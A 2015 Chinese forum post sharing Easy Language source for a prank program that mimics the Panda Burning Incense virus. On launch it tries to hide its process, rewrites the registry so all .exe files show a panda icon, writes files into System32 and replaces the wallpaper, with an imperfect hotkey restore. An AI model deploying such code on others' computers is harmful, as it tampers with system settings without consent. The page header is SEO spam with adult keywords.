久久久久久久999_99精品久久精品一区二区爱城_成人欧美一区二区三区在线播放_国产精品日本一区二区不卡视频_国产午夜视频_欧美精品在线观看免费

<strike id="keswy"></strike>

標題: 惡搞電腦——熊貓燒香 [打印本頁]

作者: huge 時間: 2015-2-19 01:26
標題: 惡搞電腦——熊貓燒香
仿熊貓燒香易語言版代碼：
.版本 2
.支持庫 eAPI
.支持庫 shellEx

.程序集窗口程序集1

.程序集變量快捷鍵R, 整數型

.子程序 _Button_被單擊

寫注冊項 (#根類, “exefile\DefaultIcon\”, “”)
運行 (“C:\Windows\System32\r.bat”, 假, )
寫到文件 (“C:\Windows 7.bmp”, #壁紙2)
SystemParametersInfoA (20, 0, “C:\Windows 7.bmp”, 1)
設置桌面墻紙 (“C:\Windows 7.bmp”, 1)
刪除文件 (“C:\Windows\System32\pic.bmp”)
刪除文件 (“C:\Windows\System32\ico.ico”)

刪除文件 (“C:\Windows\System32\r.bat”)
銷毀 ()

.子程序 __啟動窗口_創建完畢

隱藏進程 ()
快捷鍵R ＝注冊熱鍵 (_啟動窗口.取窗口句柄 (), 標簽1.取窗口句柄 (), 0, #R鍵)
寫注冊項 (#根類, “exefile\DefaultIcon\”, “C:\Windows\System32\ico.ico”)
寫到文件 (“C:\Windows\System32\ico.ico”, #圖標)
寫到文件 (“C:\Windows\System32\r.bat”, #restore)
運行 (“C:\Windows\System32\r.bat”, 假, )
寫到文件 (“C:\Windows\System32\pic.bmp”, #壁紙)
SystemParametersInfoA (20, 0, “C:\Windows\System32\pic.bmp”, 1)
設置桌面墻紙 (“C:\Windows\System32\pic.bmp”, 1)

.子程序 _About_被單擊

載入 (窗口1, , 真)

.子程序 _標簽1_反饋事件, 整數型
.參數參數一, 整數型
.參數參數二, 整數型

.如果真 (參數一＝快捷鍵R)
.如果真結束
_Button_被單擊 ()

效果圖

恢復效果

恢復效果還是不好，實在是想不出怎么恢復出原來壁紙方案的辦法，所以就找了張大眾化的圖片代替。
至于隱藏進程，簡直是一點用都沒有，好吧，可能是我寫錯了。

歡迎光臨 (http://m.zg4o1577.cn/bbs/)